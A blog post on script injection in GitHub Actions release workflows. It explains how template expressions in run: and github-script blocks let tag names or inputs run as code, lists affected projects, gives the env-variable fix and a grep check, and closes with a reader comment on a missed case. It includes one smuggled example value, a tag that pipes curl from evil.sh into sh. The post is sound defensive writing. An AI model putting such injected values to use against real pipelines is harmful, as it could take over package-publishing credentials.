There is one line of YAML I have been chasing across open source for months:
run: |
TAG="${{ github.event.release.tag_name }}"
It looks like reading a variable. It is not.
${{ ... }} is a template expression. GitHub substitutes it as raw text into the script before bash ever parses the line. By the time the shell runs, there is no variable — there is whatever the tag name happened to be, pasted directly into your program.
So a tag named:
v1.0"; curl evil.sh | sh; echo "
is not compared. It runs.
Why it is always the release workflow
You could write this bug anywhere. In practice it clusters in exactly one place: the workflow that publishes.
That is not a coincidence. Release workflows are where you handle version strings, tag names, and workflow_dispatch inputs — the values that feel like configuration rather than user input. And release workflows are also where the interesting credentials live:
permissions:
id-token: write # Trusted Publishing to PyPI
The two facts meet. The job most likely to contain the bug is the job holding the token that publishes to every one of your users.
The JavaScript variant is worse
actions/github-script has the same flaw, but people miss it because the block looks like a script file:
- uses: actions/github-script@v7
with:
script: |
const tag = '${{ env.RELEASE_TAG }}';
That script: body is JavaScript source. The expansion happens before it is parsed, so a single quote in the value closes the string literal and the rest is evaluated as code.
And a tag name absolutely can contain a single quote. git check-ref-format rejects spaces, ~, ^, :, ?, *, [ and backslash. It does not reject '.
The fix is three lines
Pass the value through env. An environment variable is only ever data — it is never re-parsed as source text.
# Before
run: |
TAG="${{ github.event.release.tag_name }}"
# After
env:
RELEASE_TAG: ${{ github.event.release.tag_name }}
run: |
TAG="$RELEASE_TAG"
Same for the JavaScript case — process.env.RELEASE_TAG instead of interpolation.
While you are in the file, add the block most release workflows never had:
permissions:
contents: read
Least privilege by default, with individual jobs raising it only where they must.
What I actually found
I read the release workflows of about twenty-five projects. Four had it:
-
crewAI (57k stars) — a
workflow_dispatchinput reaching the shell of the job that builds the PyPI artifact. The step turned out to be redundant entirely:inputs.release_tag || github.refalready produced the same result, so the fix deleted four lines rather than patching them. -
polybar (15k stars) — an input into an unquoted shell assignment, then onward into four JavaScript string literals through
GITHUB_ENV. -
in-toto — tag interpolated into
github-scriptin a job holdingid-token: writefor PyPI. Worth noting because in-toto is a supply-chain integrity framework; this is the kind of thing that hides in the tooling as easily as anywhere else. -
TEN Framework (11k stars) — tag into a
github-scriptbody holding a cross-repository PAT.
Earlier, the same class in Prefect, now merged.
Say the severity honestly
Every one of those required push access to trigger — creating a release or dispatching a workflow. None were exploitable by an anonymous stranger. They are defense in depth, and I said exactly that in each pull request.
That matters more than it sounds. The temptation is to call everything critical, because critical findings feel like better work. But a maintainer who reads one inflated report stops reading the next one. The value of the finding is destroyed by the way it is described.
What these bugs actually do is remove a step between "can cut a release" and "controls the publishing identity" — a real escalation, worth closing, and not the end of the world.
The other twenty-one
They were fine.
Cloudflare's capnweb routes the comment body through env, gates on author_association, and pins every action by SHA. AWS's Go SDK does the same with issue titles. mem0 looked suspicious at first — a step output interpolated into a shell command — until I traced it and found the value came from a closed case statement of hardcoded literals with an erroring default. langchain, litellm, gradio, huggingface, weaviate, qdrant: all correct.
I mention it because an audit that finds something critical in everything it touches is not measuring the code. Knowing when there is nothing to report is the same skill as finding the bug.
Check your own
Search your workflows for ${{ inside a run: or script: block:
grep -rn --include='*.yml' --include='*.yaml' \
-e 'run:' -e 'script:' -A20 .github/workflows/ \
| grep '\${{'
Then ask two questions about every hit:
- Can anything outside my organization influence this value? Issue titles, comment bodies and fork branch names are attacker-controlled by anyone. Tags and dispatch inputs need write access.
-
What does this job hold? A step with
id-token: write, a publish token, or a PAT that reaches another repository is worth a different level of care than one that prints a version string.
If the answer to the second question is "the keys to the package registry", fix it this week.
I work on CI/CD and release pipeline security. Everything above links to a public pull request you can read.
Top comments (1)
qdrant is on your clean list, and
.github/workflows/docker-image.ymlonmasterhas the bug in the shape of your opening example. The workflow is tag-triggered at lines 3-7, thebuildjob carriesid-token: writeat line 17 with the cosign keyless-signing comment sitting next to it, and line 47 insiderun: |isDOCKERHUB_TAG="qdrant/qdrant:${{ github.ref_name }}". What makes it odd is that your fix is already in that same step. Lines 33-36 exportRELEASE_VERSION,MAJOR_VERSIONandMINOR_VERSIONthroughenv:, and lines 49-50 dereference${MINOR_VERSION}and${MAJOR_VERSION}as shell variables, so three of the four values got handled and the tag did not. It is not one line, either. Raw${{ github.ref_name }}also sits at 52, 64 and 69 in that block, and the GPU job repeats the whole pattern at 115, 120, 132 and 137. By your own calibration this stays in the defense-in-depth band, since cutting a tag needs push access.Your grep would have shown you only part of it, for mechanical reasons.
-A20from therun: |at line 37 ends the window at 57, so the hits at 64 and 69 never print, and the second job repeats that shape with a block opening at 105 and hits at 132, 137 and 140 past its window. Release blocks are long, which is exactly where the window bites. The path filter is the other half:.github/workflows/cannot see composite actions, and in that same repo.github/actions/branch-build-and-push/action.yamlopens ashell: bashrun: |at line 33 and interpolates${{ inputs.push-to-dockerhub }}and${{ inputs.dockerhub-password }}into it at 56-61. Line 57 isecho "${{ inputs.dockerhub-password }}" | docker login -u generall --password-stdin. The flag on that line exists to keep the credential out of argv, and the expansion writes it into the script text before bash ever runs.